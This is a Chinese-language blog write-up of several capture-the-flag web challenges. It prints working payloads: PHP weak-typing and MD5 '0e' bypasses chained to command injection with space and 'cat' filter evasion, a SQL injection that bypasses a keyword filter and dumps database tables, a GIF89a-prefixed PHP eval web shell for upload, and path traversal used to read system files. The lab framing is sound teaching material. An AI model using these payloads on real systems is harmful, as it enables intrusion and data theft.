标签:文件中 上传 弱类型 意思 yourself nio sch 说明 文件的
扫目录可以发现:robots.txt
给了一个页面:
访问,人晕了:
看报文内容发现了问题:
访问fl4g.php
,人更晕了:
看来是编码问题了……不管了,至少代码没乱。来审计一下:
来看第一个if:
if (isset($_GET[‘num‘])){
$num = $_GET[‘num‘];
if(intval($num) < 2020 && intval($num + 1) > 2021){
了解一下这个函数:
有意思的是,如果传入的是科学计数法a×10^n的形式。
传入的是数型,会整个输出。
传入的是字符串,只会取e前面的数据输出:
因为php的弱类型特点,字符串型的变量若和数型变量运算,会被自动转换为数型变量。intval函数里的运算也符合这个特性,来看下面的例子。
知道了这个性质,第一个基本就是白给了。?num=2e4
直接抬走
第一个过去了。
//level 2
if (isset($_GET[‘md5‘])){
$md5=$_GET[‘md5‘];
if ($md5==md5($md5))
要求我们找到一个值,其值与其md5的值相等。这里用了==
,弱类型比较。
和上例类似,若两个字符串比较的时候都是0e开头,且后面都是数字。直接会当科学计数法表示的数型来比较。
0e开头的科学计数法……无论后面是啥,都是0。0==0,所以返回true.
那这道题也简单,我们写个脚本:
构造”0e+依次增长的数字“这样的字符串,分别计算他们的md5,直到找到一个md5符合”0e开头+后面全数字“。
便能找到我们要传的字符串:
import hashlib
for i in range(0,1000000000):
a = ‘0e‘+str(i)
b = hashlib.md5(str(a).encode("utf-8")).hexdigest()
if b[:2]==‘0e‘ and b[2:].isdigit():
print(a)
break
睡了一觉起来有结果了……
验证一下:
所以传参:?num=2e4&md5=0e215962017
,抬走:
if (isset($_GET[‘get_flag‘])){
$get_flag = $_GET[‘get_flag‘];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "xxxx";
system($get_flag);
}else{
两个条件,
if(!strstr($get_flag," "))
---->不能有空格
str_ireplace("cat", "wctf2020", $get_flag);
----->cat会被替换
先跑个ls看一下,flag应该在这个超长的文件里:
这俩绕过都老生常谈了,网上随便搜都能找到方法:
1.绕空格:通配符安排 $IFS$9
2.cat绕过:ca\t
,/???/c?t
,tac
,sort
等等
所以最终payload:
?num=2e4&md5=0e215962017&get_flag=/???/c?t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
看着就像sql,先fuzz一下。发现直接解order by会报错。怀疑可能过滤了空格。
/**/
成功绕过:
order by 4的时候报错.说明三列。
继续fuzz发现union select执行不了。select可以执行,union不行。说明union被过滤,尝试双写绕过。成功。
接下来就正常手工注入了:
?stunum=999/**/uunionnion/**/select/**/1,2,3%23
2,3位有回显。
999/**/uunionnion/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23 表名
999/**/uunionnion/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=‘flag‘%23 列名
这个双回显也该派上用场了:
999/**/uunionnion/**/select/**/1,flag,value/**/from/**/flag%23
起飞。
进去,先注册个号:
登录之后直接来到了,头像……:
这上传也太直白了。
直接上传php会报错:
exif_imagetype
,看来是个文件头检测,就不写细节了,可以参照之前写过的一题:https://www.cnblogs.com/keelongz/p/12615229.html#section-1
祖传payload试一波:
GIF89a
<?
@eval($_POST[1]);
?>
上传:
然后我的.php就这么传上去了……传……上去了??
后缀不用绕过???我user.ini和.htacess都准备好了,????
还很贴心的给了路径:
并且可以执行:
行吧。
上传后给出链接:
访问后发现是任意文件下载,这个file参数可控:
读个东西试试,暴露了绝对路径:
也暴露了站点是部署在tomcat下的Java Web,这站点又有上传点……
作为挖洞时间2月半的捡漏five,我觉得这个题难道是考幽灵猫0day?
7层目录……照着修改,果然可以本地文件下载:
不过找不到flag……有点难顶。
预期解果然是这个洞,虽然我没打通。
先来了解一下,2月爆出来的tomcat幽灵??漏洞:
http://blog.nsfocus.net/cve-2020-1938/
首先可以文件包含,如果包含了一个??,会解析并执行,直接就可以getshell。
本来直接想用msf做个反向shell的,但是buu靶机内网环境。无法监听。
而且如果包含反向shell,不知道为什么BUU会链接重置……
回头打好了再试试。这个待补充。
这个实在是骚……
Bash shell在“~/.bash_history”(“~/”表示用户目录)文件中保存了500条使用过的命令,这样能使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。
所以有师傅就通过etc/passwd读出了部署用户,然后通过读bash_history读到了其部署文件的指令,也读到了flag的位置,直接下载拿下。
不过BUU下没有复现成功,估计是因为docker部署的环境钻不了这个空子?
如果能用这个方法复现的师傅请赐教。
还没复现,待补充
标签:文件中 上传 弱类型 意思 yourself nio sch 说明 文件的
原文地址:https://www.cnblogs.com/keelongz/p/12661774.html